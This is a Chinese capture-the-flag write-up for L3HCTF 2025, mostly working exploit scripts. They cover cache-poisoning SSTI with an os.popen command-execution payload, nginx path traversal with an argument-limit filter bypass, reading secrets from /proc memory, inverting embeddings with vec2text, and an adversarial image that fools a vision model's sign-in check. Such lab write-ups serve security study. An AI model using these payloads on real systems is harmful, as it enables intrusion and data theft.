L3HCTF 2025 wp
前言
终于放假了,有了较为充分的时间打比赛,写的题目数量也比之前多点
best_profile
先看源码
@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
if not current_user.is_authenticated:
return "You need to login first."
user = User.query.filter_by(username=username).first()
if not user:
return "User not found."
return render_template("last_ip.html", last_ip=user.last_ip)
geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)
明显/ip_detail/<string:username>这个路由能ssti注入
只要控制res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")返回的内容即可
目前最大的问题是
def route_ip_detail(username):
res = requests.get(f"<http://127.0.0.1/get_last_ip/{username}>")
这里并不带cookies,因此无法正确获取ip
注意到nginx有如下配置
location ~ .*\\.(gif|jpg|jpeg|png|bmp|swf)$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass <http://127.0.0.1:5000>;
proxy_cache static;
proxy_cache_valid 200 302 30d;
}
location ~ .*\\.(js|css)?$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass <http://127.0.0.1:5000>;
proxy_cache static;
proxy_cache_valid 200 302 12h;
}
在这里会缓存结尾为上述后缀的路径内容
所以不带cookies的问题可以通过缓存绕过
只要注册用户名为1.css,然后全程开请求头X-Forwarded-For,内容是ssti注入模板
请求get_last_ip,确保为获取ip为payload
不放心可以用脚本,因为加上请求参数缓存是独立的,可以多搞几次
import requests
url = ""
const_header = {"X-Forwarded-For": "{{2*2}}"}
def register_user(username, password):
response = requests.post(f"{url}/register", data={"username": username, "password": password, "bio": username, "submit": "Sign Up"}, headers=const_header)
return
def login_user(username, password):
with requests.Session() as session:
response = session.post(f"{url}/login", data={"username": username, "password": password}, headers=const_header)
return session.cookies
def user_info(cookies,username):
response = requests.get(f"{url}/{username}", cookies=cookies, headers=const_header)
return
def get_ip(cookies,username,times):
response = requests.get(f"{url}/get_last_ip/{username}?times={times}", cookies=cookies, headers=const_header)
return response
if __name__ == "__main__":
pre = 1 # 自己定
ed = ".css"
username = f"{pre}{ed}"
password = "password"
print(username)
register_user(username, password)
cookies = login_user(username, password)
print(cookies)
user_info(cookies, username)
for i in range(3):
print(i)
res = get_ip(cookies, username, i)
print(res.text)
最后请求/ip_detail触发ssti注入
因为会被实体编码,不能用单引号,所以要用
{{config.__init__.__globals__.os.popen(request.args.cmd).read()}}然后访问/ip_detail 并传参即可
赛博侦探
仿佛来到ISCC
访问/go/CB6R8pq并拦截,看到url/secret/find_my_password
提示要找出邮箱,经纬度,老家地址,英文名
邮箱在docx文件属性里[email protected]
经纬度用多点定位原理找出图片拍摄者大概定位
114.17466833192788,30.62382241094446
英文名来自邮箱前缀leland
地名直接爆破,得到是福州
提交拿到信息/secret/my_lovely_photos
访问发现任意文件读取/secret/my_lovely_photo?name=../../../flag
LearnRag
题目通过模型sentence-transformers/gtr-t5-base 将flag映射为向量空间(理论上不可逆),并给出pkl文件
考虑用vec2text技术来逆向恢复
题目形似(一模一样
pkl里面有20736 ÷ 768 = 27个句子
使用带GPU的linux服务器
(代码在windows下会出问题)
import pickle
import pickletools
import numpy as np
import torch
import vec2text
import struct
import os
import gc
def extract_embeddings_fixed(pkl_path):
with open(pkl_path, 'rb') as f:
data = f.read()
floats = []
index = 0
while index < len(data):
if data[index] == 0x47:
if index + 9 > len(data):
break
float_bytes = data[index+1:index+9]
try:
float_value = struct.unpack('>d', float_bytes)[0]
floats.append(float_value)
except:
pass
index += 9
else:
index += 1
print(f"提取到 {len(floats)} 个浮点数值")
if len(floats) == 0:
raise ValueError("未找到浮点数值")
n_vectors = len(floats) // 768
embeddings_array = np.array(floats, dtype=np.float32).reshape(n_vectors, 768)
print(f"嵌入向量形状: {embeddings_array.shape}, 数据类型: {embeddings_array.dtype}")
return embeddings_array
def decode_embeddings(embeddings):
device = 'cuda'
print(f"使用设备: {device}")
if embeddings.dtype != np.float32:
print(f"将数据类型从 {embeddings.dtype} 转换为 float32")
embeddings = embeddings.astype(np.float32)
print("加载预训练模型...")
corrector = vec2text.load_pretrained_corrector("gtr-base")
decoded_texts = []
total_vectors = embeddings.shape[0]
for i in range(total_vectors):
print(f"\\n解码向量 {i+1}/{total_vectors}...")
single_embedding = embeddings[i:i+1, :]
embeddings_tensor = torch.from_numpy(single_embedding).to(device)
decoded_text = vec2text.invert_embeddings(
embeddings=embeddings_tensor,
corrector=corrector,
num_steps=60,
sequence_beam_width=8,
)[0]
decoded_texts.append(decoded_text)
print(f"解码结果: {decoded_text}")
del embeddings_tensor
torch.cuda.empty_cache()
gc.collect()
return decoded_texts
if __name__ == "__main__":
filename = "rag_data.pkl"
print("\\n解析pkl文件并提取嵌入向量...")
try:
embeddings_array = extract_embeddings_fixed(filename)
print(f"嵌入向量维度: {embeddings_array.shape[1]}")
except Exception as e:
print(f"错误: {e}")
print("\\n准备开始解码过程...")
decoded_texts = decode_embeddings(embeddings_array)
print("\\n" + "="*50)
print("恢复的Flag文本:")
for i, text in enumerate(decoded_texts):
print(f"向量 {i+1}: >>> {text} <<<")
就算是用了GPU依然很慢。。。
解码向量 1/27...
解码结果: Welcome to L3HCTF, have fun!
解码向量 2/27...
解码结果: The 1st character of the flag is 'L', it is 'L'!
解码向量 3/27...
解码结果: The 2nd character of the flag is '3', it is '3' !
解码向量 4/27...
解码结果: The 3rd character of the flag is 'H' , yes it is 'H'!',
解码向量 5/27...
解码结果: The 4th character of the flag is 'C', it is 'C' !
解码向量 6/27...
解码结果: The 5th character of the flag is 'T' , yes it is 'T'!
解码向量 7/27...
解码结果: The 6th character of the flag is 'F' , it is 'F'!
解码向量 8/27...
解码结果: The 7th character of the flag is '' - - yes !
解码向量 9/27...
解码结果: The 8th character of the flag is 'w', it is 'w'!
解码向量 10/27...
解码结果: The 9th character of the flag is 'o', it is 'o' !
解码向量 11/27...
解码结果: The 10th character of the flag is 'w', yes it is 'w' !
解码向量 12/27...
解码结果: The 11th character of the flag is 't', it is 't'!
解码向量 13/27...
解码结果: The 12th character of the flag is 'h', yes it is 'h'!
解码向量 14/27...
解码结果: The 13th character of the flag is 'i', it is 'i' !
解码向量 15/27...
解码结果: The 14th character of the flag is 's', it is 's'! yes
解码向量 16/27...
解码结果: The 15th character of the flag is 'i', yes it is 'i'!
解码向量 17/27...
解码结果: The 16th character of the flag is 's', yes it is 's'!
解码向量 18/27...
解码结果: The 17th character of the flag is 'e', it is 'e'!
解码向量 19/27...
解码结果: The 18th character of the flag is 'm', it is 'm' !
解码向量 20/27...
解码结果: The 19th character of the flag is 'b', yes it is 'b'!
解码向量 21/27...
解码结果: The 20th character of the flag is 'e', it is 'e' !
解码向量 22/27...
解码结果: The 21st character of the flag is 'd', yes it is 'd' !
解码向量 23/27...
解码结果: The 22nd character of the flag is 'd', yes it is 'd'!
解码向量 24/27...
解码结果: The 23rd character of the flag is 'i', yes it is 'i' !
解码向量 25/27...
解码结果: The 24th character of the flag is 'n', it is 'n' !
解码向量 26/27...
解码结果: The 25th character of the flag is 'g', it is 'g' !
解码向量 27/27...
解码结果: The 26th character of the flag is ' ' ( - yes
整理即可得到flag
gateway_advance
打nginx配置
worker_processes 1;
events {
use epoll;
worker_connections 10240;
}
http {
include mime.types;
default_type text/html;
access_log off;
error_log /dev/null;
sendfile on;
init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}
server {
listen 80 default_server;
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}
location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}
location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}
}
location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}首先/static路由存在配置错误,如果访问/static../etc/passwd,nginx会自动修复static,可路径穿越到根目录,但是这个路由只能通过proxy访问,也就是download路由
download路由有限制,不能有./但是根据
https://github.com/openresty/openresty/issues/358
ngx.req.get_uri_args()只会获取前100个变量,
a0=1&a1=1&a2=1&a3=1&a4=1&a5=1&a6=1&a7=1&a8=1&a9=1&a10=1&a11=1&a12=1&a13=1&a14=1&a15=1&a16=1&a17=1&a18=1&a19=1&a20=1&a21=1&a22=1&a23=1&a24=1&a25=1&a26=1&a27=1&a28=1&a29=1&a30=1&a31=1&a32=1&a33=1&a34=1&a35=1&a36=1&a37=1&a38=1&a39=1&a40=1&a41=1&a42=1&a43=1&a44=1&a45=1&a46=1&a47=1&a48=1&a49=1&a50=1&a51=1&a52=1&a53=1&a54=1&a55=1&a56=1&a57=1&a58=1&a59=1&a60=1&a61=1&a62=1&a63=1&a64=1&a65=1&a66=1&a67=1&a68=1&a69=1&a70=1&a71=1&a72=1&a73=1&a74=1&a75=1&a76=1&a77=1&a78=1&a79=1&a80=1&a81=1&a82=1&a83=1&a84=1&a85=1&a86=1&a87=1&a88=1&a89=1&a90=1&a91=1&a92=1&a93=1&a94=1&a95=1&a96=1&a97=1&a98=1&a99=1&filename=../proc/7/fd/6
即可绕过限制,不过根据过滤
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}
}密码会被替换
逐字节读取来绕过限制
import requests
import time
base_url = "http://xxx/download"
fd_range = range(3, 20)
max_file_size = 100
dummy_params = {f"a{i}": "1" for i in range(100)}
for fd in fd_range:
payload_path = f"../proc/self/fd/{fd}"
params = dummy_params.copy()
params['filename'] = payload_path
reconstructed_content = ""
is_valid_fd = False
for i in range(max_file_size):
headers = {'Range': f'bytes={i}-{i}'}
try:
response = requests.get(base_url, params=params, headers=headers, timeout=3)
if response.status_code == 206:
is_valid_fd = True
reconstructed_content += response.text
else:
break
except requests.exceptions.RequestException:
break
time.sleep(0.05)
if is_valid_fd and reconstructed_content:
print(f"--- [ 文件描述符 /proc/self/fd/{fd} ] ---")
print(f"成功获取内容: {reconstructed_content.strip()}")
print("-" * (20 + len(str(fd))))拿到密码,可以访问路由read_anywhere,虽然flag对应的文件被关闭,但是flag是全局变量,应该能从内存中搜索出来
import requests
import re
url = "http://xxx/read_anywhere"
password = "passwordismemeispasswordsoneverwannagiveyouup"
def read_file_content(filepath, start=0, length=1024):
headers = {
"X-Gateway-Password": password,
"X-Gateway-Filename": filepath,
"X-Gateway-Start": str(start),
"X-Gateway-Length": str(length)
}
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200:
return response.content
return None
except requests.exceptions.RequestException:
return None
print("[*] 阶段 1: 正在获取 Nginx Worker PID...")
stat_content_bytes = read_file_content("/proc/self/stat")
if not stat_content_bytes:
print("[-] 失败: 无法读取 /proc/self/stat。")
exit()
pid_match = re.match(rb'^(\d+)', stat_content_bytes)
if not pid_match:
print("[-] 失败: 无法从 /proc/self/stat 解析 PID。")
exit()
pid = pid_match.group(1).decode('utf-8')
print(f"[+] 成功获取 PID: {pid}")
print(f"\n[*] 阶段 2: 正在读取并解析 /proc/{pid}/maps...")
maps_path = f"/proc/{pid}/maps"
maps_content_bytes = read_file_content(maps_path, length=100000)
if not maps_content_bytes:
print(f"[-] 失败: 无法读取 {maps_path}。")
exit()
memory_regions = []
for line in maps_content_bytes.decode('utf-8').splitlines():
parts = line.split()
if len(parts) >= 2 and 'r' in parts[1]:
try:
start_hex, end_hex = parts[0].split('-')
start_addr = int(start_hex, 16)
end_addr = int(end_hex, 16)
memory_regions.append((start_addr, end_addr))
except ValueError:
continue
if not memory_regions:
print("[-] 失败: 未能解析出任何可读的内存区域。")
exit()
print(f"[+] 解析到 {len(memory_regions)} 个可读内存区域。")
print(f"\n[*] 阶段 3: 正在从 /proc/{pid}/mem 的有效区域中搜索 Flag...")
mem_path = f"/proc/{pid}/mem"
chunk_size = 8192
flag_found = False
buffer = b''
for start_addr, end_addr in memory_regions:
print(f"[*] 正在扫描区域: {hex(start_addr)}-{hex(end_addr)}")
offset = start_addr
while offset < end_addr:
length_to_read = min(chunk_size, end_addr - offset)
chunk = read_file_content(mem_path, start=offset, length=length_to_read)
if not chunk:
offset += length_to_read
continue
search_area = buffer + chunk
if b"L3HCTF" in search_area:
flag_match = re.search(b'(L3HCTF\{[a-zA-Z0-9_!]+\})', search_area)
if flag_match:
flag = flag_match.group(1).decode('utf-8')
print(f"\n\n[+] 成功找到 Flag: {flag}")
flag_found = True
break
buffer = chunk[-50:]
offset += chunk_size
if flag_found:
break
if not flag_found:
print("\n[-] 在进程内存中未找到 Flag。")
[*] 阶段 1: 正在获取 Nginx Worker PID...
[+] 成功获取 PID: 7
[*] 阶段 2: 正在读取并解析 /proc/7/maps...
[+] 解析到 54 个可读内存区域。
[*] 阶段 3: 正在从 /proc/7/mem 的有效区域中搜索 Flag...
[*] 正在扫描区域: 0x55da87efc000-0x55da87f40000
[*] 正在扫描区域: 0x55da87f40000-0x55da880b8000
[*] 正在扫描区域: 0x55da880b8000-0x55da88120000
[*] 正在扫描区域: 0x55da88120000-0x55da88123000
[*] 正在扫描区域: 0x55da88123000-0x55da88148000
[*] 正在扫描区域: 0x55da88148000-0x55da88219000
[*] 正在扫描区域: 0x55daaf022000-0x55daaf027000
[*] 正在扫描区域: 0x787ae790f000-0x787ae7c6d000
[*] 正在扫描区域: 0x787ae7c6d000-0x787ae7d9f000
[*] 正在扫描区域: 0x787ae7d9f000-0x787ae7da0000
[*] 正在扫描区域: 0x787ae7da0000-0x787ae7ed9000
[+] 成功找到 Flag: xxxxxxxxxxxxxxxxPaperBack
找一个冷门的网站,能将数据像cd一样存储,解密(题目也有提示网站名称)
http://www.ollydbg.de/Paperbak/
解码出来是空格隐写
Whitelips the Esoteric Language IDE
push 76
printc
push 51
printc
push 72
printc
push 67
printc
push 84
printc
push 70
printc
push 123
printc
push 119
printc
push 101
printc
push 108
printc
push 99
printc
push 111
printc
push 109
printc
push 101
printc
push 95
printc
push 116
printc
push 111
printc
push 95
printc
push 108
printc
push 51
printc
push 104
printc
push 99
printc
push 116
printc
push 102
printc
push 50
printc
push 48
printc
push 50
printc
push 53
printc
push 125
printc
end只要把对应ascii解出来就是flag了
Please Sign In
给定一个目标特征向量和一个神经网络模型,反向生成一个能够产生该向量的输入图片
直接梯度下降算法
要求均方误差小于5e-6
import torch
import json
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from torchvision import transforms
from PIL import Image
import requests
feature_extractor = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
feature_extractor.fc = torch.nn.Identity()
feature_extractor.eval()
with open("embedding.json", "r") as f:
target_embedding_list = json.load(f)
target_embedding = torch.tensor(target_embedding_list, dtype=torch.float32).unsqueeze(0)
generated_image_tensor = torch.rand(1, 3, 224, 224, requires_grad=True)
# Adam
optimizer = torch.optim.Adam([generated_image_tensor], lr=0.01)
loss_fn = torch.nn.MSELoss()
print("开始优化图片...")
for i in range(500):
optimizer.zero_grad()
generated_image_tensor.data.clamp_(0, 1)
current_embedding = feature_extractor(generated_image_tensor)
loss = loss_fn(current_embedding, target_embedding)
loss.backward()
optimizer.step()
if (i + 1) % 50 == 0:
print(f"迭代 {i+1}/500, 损失: {loss.item():.10f}")
if loss.item() < 5e-6: # 如果损失足够小,提前停止
print("损失已足够小,停止优化。")
break
print("优化完成。")
final_image_tensor = generated_image_tensor.squeeze(0).clamp(0, 1)
to_pil = transforms.ToPILImage()
image = to_pil(final_image_tensor.detach())
image.save("generated_image.png")
提交图片即可拿到flag
import requests
try:
url = "<http://43.138.2.216:50001/signin/>"
with open("generated_image.png", "rb") as f:
files = {"file": ("generated_image.png", f, "image/png")}
response = requests.post(url, files=files)
if response.status_code == 200:
print("服务器响应:")
print(response.json())
else:
print(f"请求失败,状态码: {response.status_code}")
print(response.text)
except requests.exceptions.ConnectionError:
print("失败")